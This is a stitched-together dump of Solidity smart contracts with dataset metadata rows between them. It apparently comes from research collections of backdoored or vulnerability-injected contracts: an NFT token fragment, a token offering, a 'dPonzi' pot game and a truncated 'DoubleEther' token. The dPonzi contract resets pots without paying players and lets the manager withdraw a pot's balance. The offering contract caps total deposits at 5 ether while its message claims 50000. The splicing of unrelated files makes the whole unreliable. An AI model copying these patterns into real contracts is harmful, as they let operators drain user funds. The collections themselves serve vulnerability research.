/// expensive (it walks the entire Meals array looking for meals belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalMeals = totalSupply();
uint256 resultIndex = 0;
uint256 mealId;
for (mealId = 0; mealId <= totalMeals; mealId++) {
if (mealIndexToOwner[mealId] == _owner) {
result[resultIndex] = mealId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return meals.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return mealIndexToApproved[_tokenId] == _to;
}
/// For creating Meals
function _createMeal(string _name, address _owner, uint256 _price) private {
Meal memory _meal = Meal({
name: _name
});
uint256 newMealId = meals.push(_meal) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newMealId == uint256(uint32(newMealId)));
Birth(newMealId, _name, _owner);
mealIndexToPrice[newMealId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newMealId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == mealIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Meal to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of meals is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
mealIndexToOwner[_tokenId] = _to;
// When creating new meals _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete mealIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,480 | 14,159 |
1eb08d7911d1de0e657c1239596bf4037eb2c02454700e82ac96822b03713a95
| 22,196 |
.sol
|
Solidity
| false |
304681119
|
54meteor/palette
|
55e9e4fd024543b989f37560e47c2809ae23e2fc
|
contracts/SeaweedInitialOffering.sol
| 3,114 | 11,714 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SeaweedInitialOffering is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
event Claimed(address indexed account, uint userShare, uint swfAmount);
event Received(address indexed account, uint amount, string invite);
uint public constant START = 1615612873;
uint public constant END = START + 7 days;
uint public constant TOTAL_DISTRIBUTE_AMOUNT = 40_000_000e18;
uint public constant MINIMAL_PROVIDE_AMOUNT = 2 ether;
uint public constant MAXIMAL_PROVIDE_AMOUNT = 5 ether;
uint public constant MAX_PER_USER = 2000 ether;
uint public constant H_To_SWF = 2000;
uint public totalProvided = 0;
mapping(address => uint) public provided;
IERC20 public immutable SWF;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status = _NOT_ENTERED;
constructor(IERC20 swf) public {
SWF = swf;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
function buy(string memory invite) external payable{
require(START <= block.timestamp, "The offering has not started yet");
require(block.timestamp <= END, "The offering has already ended");
require(totalProvided + msg.value <= MAXIMAL_PROVIDE_AMOUNT, "Max total amount is 50000 HT ");
require(provided[msg.sender] + msg.value <= MAX_PER_USER, "Max user amount is 2000 HT ");
totalProvided += msg.value;
provided[msg.sender] += msg.value;
emit Received(msg.sender, msg.value,invite);
}
function claim() external nonReentrant {
require(block.timestamp > END || totalProvided >= MAXIMAL_PROVIDE_AMOUNT,"The offering has not end");
require(provided[msg.sender] > 0,"Not enough amount");
uint userShare = provided[msg.sender];
provided[msg.sender] = 0;
uint swfAmount = 0;
if(totalProvided >= MINIMAL_PROVIDE_AMOUNT) {
swfAmount = TOTAL_DISTRIBUTE_AMOUNT
.mul(userShare)
.div(totalProvided);
} else {
swfAmount = userShare * H_To_SWF;
}
SWF.safeTransfer(msg.sender, swfAmount);
emit Claimed(msg.sender, userShare, swfAmount);
}
function withdrawProvidedHT() external onlyOwner {
require(END < block.timestamp, "The offering must be completed");
payable(owner()).transfer(address(this).balance);
}
function withdrawUnclaimedSWF() external onlyOwner {
require(END + 30 days < block.timestamp, "Withdrawal unavailable yet");
SWF.safeTransfer(owner(), SWF.balanceOf(address(this)));
}
}
| 18,496 | 14,160 |
78e9faa5ff4f4dc24974d64848ec607da5fe368b8e81ccea1409131976edefa8
| 15,244 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xd883209c4dcd497f24633c627a4e451013424841.sol
| 4,411 | 14,725 |
pragma solidity ^0.4.24;
contract dPonzi {
address public manager;//who originally create the contract
struct PlayerStruct {
uint key;
uint food;
uint idx;
uint gametime;
uint flag;
}
struct RefStruct {
address player;
uint flag;
}
struct RefStructAdd {
bool flag;
string name;
}
struct PotCntStruct {
address[] player;
uint last;
uint balance;
uint keys;
uint food;
uint gtime;
uint gameTime;
uint lastRecord;
uint entryAmount;
mapping(string => PackageStruct) potStruct;
}
struct IdxStruct {
mapping(address => PlayerStruct) playerStruct;
}
struct PackageStruct {
uint entryAmount;
}
mapping(string => PotCntStruct) potCntInfo;
mapping(string => IdxStruct) idxStruct;
mapping(string => RefStruct) idxR;
mapping(address => RefStructAdd) public idxRadd;
constructor() public {
manager = msg.sender;
potCntInfo['d'].gameTime = now;
potCntInfo['7'].gameTime = now;
potCntInfo['30'].gameTime = now;
potCntInfo['90'].gameTime = now;
potCntInfo['180'].gameTime = now;
potCntInfo['365'].gameTime = now;
potCntInfo['l'].gameTime = now;
potCntInfo['r'].gameTime = now;
potCntInfo['d'].gtime = now;
potCntInfo['7'].gtime = now;
potCntInfo['30'].gtime = now;
potCntInfo['90'].gtime = now;
potCntInfo['180'].gtime = now;
potCntInfo['365'].gtime = now;
potCntInfo['l'].gtime = now;
potCntInfo['r'].gtime = now;
potCntInfo['d'].last = now;
potCntInfo['7'].last = now;
potCntInfo['30'].last = now;
potCntInfo['90'].last = now;
potCntInfo['180'].last = now;
//declare precalculated entry amount to save gas during entry
potCntInfo['i'].entryAmount = 10;
potCntInfo['d'].entryAmount = 1;
potCntInfo['7'].entryAmount = 4;
potCntInfo['30'].entryAmount = 8;
// pot 90 and pot dividend share the same 15%
potCntInfo['90'].entryAmount = 15;
potCntInfo['180'].entryAmount = 25;
//pot 365 and pot royal share the same 5%
potCntInfo['365'].entryAmount = 5;
potCntInfo['l'].entryAmount = 2;
}
function enter(string package, address advisor) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
uint key = 0;
uint multiplier = 100000000000000;
if(keccak256(abi.encodePacked(package)) == keccak256("BasicK")) {
require(msg.value == 0.01 ether, "Invalid Package Amount");
key = 1;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("PremiumK")){
require(msg.value == 0.1 ether, "Invalid Package Amount");
key = 11;
multiplier = multiplier * 10;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("LuxuryK")){
require(msg.value == 1 ether, "Invalid Package Amount");
key = 120;
multiplier = multiplier * 100;
addRoyLuxList('l', 'idxLuxury', now, 500);
}
else if (keccak256(abi.encodePacked(package)) == keccak256("RoyalK")){
require(msg.value == 10 ether, "Invalid Package Amount");
key = 1300;
multiplier = multiplier * 1000;
addRoyLuxList('r', 'idxRoyal', now, 100);
}
if (key > 0){
if (idxRadd[advisor].flag) {
advisor.transfer(potCntInfo['i'].entryAmount * multiplier);
}
else {
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
}
//Allocation
potCntInfo['d'].balance += potCntInfo['d'].entryAmount * multiplier;
potCntInfo['7'].balance += potCntInfo['7'].entryAmount * multiplier;
potCntInfo['30'].balance += potCntInfo['30'].entryAmount * multiplier;
potCntInfo['90'].balance += potCntInfo['90'].entryAmount * multiplier;
potCntInfo['180'].balance += potCntInfo['180'].entryAmount * multiplier;
potCntInfo['365'].balance += potCntInfo['365'].entryAmount * multiplier;
potCntInfo['l'].balance += potCntInfo['l'].entryAmount * multiplier;
potCntInfo['r'].balance += potCntInfo['365'].entryAmount * multiplier;
//admin amount
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
potCntInfo['dv'].balance += potCntInfo['90'].entryAmount * multiplier;
addPlayerMapping('d', 'idxDaily', key, 30);//30 + 20
addPlayerMapping('7', 'idx7Pot', key, 60);
addPlayerMapping('30', 'idx30Pot', key, 90);
addPlayerMapping('90', 'idx90Pot', key, 120);
addPlayerMapping('180', 'idx180Pot', key, 150);
addPlayerMapping('365', 'idx365Pot', key, 0);
}
}
function addPlayerMapping(string x1, string x2, uint key, uint timeAdd) private{
//if smaller, which means the game is expired.
if(potCntInfo[x1].last <= now){
potCntInfo[x1].last = now;
}
potCntInfo[x1].last += (key * timeAdd);
//Add into Players Mapping
if (idxStruct[x2].playerStruct[msg.sender].flag == 0) {
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['d'].gtime){
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else {
idxStruct[x2].playerStruct[msg.sender].key += key;
}
potCntInfo[x1].keys += key;
}
function joinboard(string name) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
if (idxR[name].flag == 0) {
idxR[name] = RefStruct(msg.sender, 1);
potCntInfo['i'].balance += msg.value;
idxRadd[msg.sender].name = name;
idxRadd[msg.sender].flag = true;
}
else {
revert("Name is not unique");
}
}
function pickFood(uint pickTime, string x1, string x2, uint num) public restricted {
uint i=0;
uint j=0;
if (potCntInfo[x1].player.length > 0 && potCntInfo[x1].food <= num) {//if pot.player has player and pot has food less than pass in num
do {
j = potCntInfo[x1].keys < num ? j : random(potCntInfo[x1].player.length, pickTime);//random pick players in pot
if (idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].food > 0) {//if potplayer[address] has food > 0, get next potPlayer[address]
j++;
}
else {
idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].food = potCntInfo[x1].keys < num ? idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].key : random(idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].key, pickTime);
if (potCntInfo[x1].food + idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].food > num) {//if pot.food + potPlayer.food > num
idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].food = num-potCntInfo[x1].food;
potCntInfo[x1].food = num;
break;
}
else {
potCntInfo[x1].food += idxStruct[x2].playerStruct[potCntInfo[x1].player[j]].food;
}
j++; i++;
}
if(potCntInfo[x1].keys < num && j == potCntInfo[x1].player.length) {//exit loop when pot.keys less than num
break;
}
if(potCntInfo[x1].food == num) {//exit loop when pot.food less than num
break;
}
}
while (i<10);
potCntInfo[x1].lastRecord = potCntInfo[x1].keys < num ? (potCntInfo[x1].keys == potCntInfo[x1].food ? 1 : 0) : (potCntInfo[x1].food == num ? 1 : 0);
}
else {
potCntInfo[x1].lastRecord = 1;
}
}
function pickWinner(uint pickTime, bool sendDaily, bool send7Pot, bool send30Pot, bool send90Pot, bool send180Pot, bool send365Pot) public restricted{
//Hit the Daily pot
hitPotProcess('d', sendDaily, pickTime);
//Hit the 7 day pot
hitPotProcess('7', send7Pot, pickTime);
//Hit the 30 day pot
hitPotProcess('30', send30Pot, pickTime);
//Hit the 90 day pot
hitPotProcess('90', send90Pot, pickTime);
//Hit the 180 day pot
hitPotProcess('180', send180Pot, pickTime);
//Hit daily pot maturity
maturityProcess('d', sendDaily, pickTime, 86400);
//Hit 7 pot maturity
maturityProcess('7', send7Pot, pickTime, 604800);
//Hit 30 pot maturity
maturityProcess('30', send30Pot, pickTime, 2592000);
//Hit 90 pot maturity
maturityProcess('90', send90Pot, pickTime, 7776000);
//Hit 180 pot maturity
maturityProcess('180', send180Pot, pickTime, 15552000);
//Hit 365 pot maturity
maturityProcess('365', send365Pot, pickTime, 31536000);
//Hit 365 days pot maturity
if (potCntInfo['365'].balance > 0 && send365Pot) {
if (pickTime - potCntInfo['365'].gameTime >= 31536000) {
maturityProcess('l', send365Pot, pickTime, 31536000);
maturityProcess('r', send365Pot, pickTime, 31536000);
}
}
}
function hitPotProcess(string x1, bool send, uint pickTime) private {
if (potCntInfo[x1].balance > 0 && send) {
if (pickTime - potCntInfo[x1].last >= 20) { //additional 20 seconds for safe
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gtime = pickTime;
}
}
}
function maturityProcess(string x1, bool send, uint pickTime, uint addTime) private {
if (potCntInfo[x1].balance > 0 && send) {
if (pickTime - potCntInfo[x1].gameTime >= addTime) {
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gameTime = pickTime;
potCntInfo[x1].gtime = pickTime;
}
}
}
//Start : Util Function
modifier restricted() {
require(msg.sender == manager, "Only manager is allowed");//must be manager to call this function
_;
}
function random(uint maxNum, uint timestamp) private view returns (uint){
return uint(keccak256(abi.encodePacked(block.difficulty, timestamp, potCntInfo['d'].balance, potCntInfo['7'].balance, potCntInfo['30'].balance, potCntInfo['90'].balance, potCntInfo['180'].balance, potCntInfo['365'].balance))) % maxNum;
}
function addRoyLuxList(string x1, string x2, uint timestamp, uint num) private {
uint pick;
if (potCntInfo[x1].player.length < num) {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
}
else {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
}
}
function getPotCnt(string x) public constant returns(uint count, uint pLast, uint pot, uint keystore, uint gtime, uint gameTime, uint food) {
return (potCntInfo[x].player.length, potCntInfo[x].last, potCntInfo[x].balance, potCntInfo[x].keys, potCntInfo[x].gtime, potCntInfo[x].gameTime, potCntInfo[x].food);
}
function getIdx(string x1, string x2, uint p) public constant returns(address p1, uint food, uint gametime, uint flag) {
return (potCntInfo[x1].player[p], idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].food, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].gametime, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].flag);
}
function getLast(string x) public constant returns(uint lastRecord) {
return potCntInfo[x].lastRecord;
}
function sendFoods(address[500] p, uint[500] food) public restricted {
for(uint k = 0; k < p.length; k++){
if (food[k] == 0) {
return;
}
p[k].transfer(food[k]);
}
}
function sendItDv(string x1) public restricted {
msg.sender.transfer(potCntInfo[x1].balance);
potCntInfo[x1].balance = 0;
}
function getReffAdd(string x) public constant returns(address){
if(idxR[x].flag == 1){
return idxR[x].player;
}else{
revert("Not found!");
}
}
function getReffName(address x) public constant returns(string){
if(idxRadd[x].flag){
return idxRadd[x].name;
}else{
revert("Not found!");
}
}
//End : Util Function
}
| 147,552 | 14,161 |
e8eb9d1ded0d54ddfbe3cdbdcff5a6e516edeb9e85b7d45632d2c726ce8b8cdc
| 21,071 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/DosByComplexFallback/0x9d1cbf4ef833340120e721e5028c326ec1066c7e_dosByComplexFallback.sol
| 3,200 | 14,378 |
pragma solidity 0.5.1;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address payable public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
//
//------------------ ERC20 Standard Template -------------------//
//
contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 1 ether; // Update total supply with the decimal amount
uint256 halfTotalSupply = totalSupply / 2; // Half of the totalSupply
balanceOf[msg.sender] = halfTotalSupply; // 50 Million tokens sent to owner
balanceOf[address(this)] = halfTotalSupply; // 50 Million tokens sent to smart contract
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
emit Transfer(address(0x0), msg.sender, halfTotalSupply); // Transfer event
emit Transfer(address(0x0), address(this), halfTotalSupply);// Transfer event
}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
//
//--------------------- DOUBLE ETHER MAIN CODE STARTS HERE ---------------------//
//
contract DoubleEther is owned, TokenERC20 {
string internal tokenName = "Double Ether";
string internal tokenSymbol = "DET";
uint256 internal initialSupply = 100000000; //100 Million
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor () TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
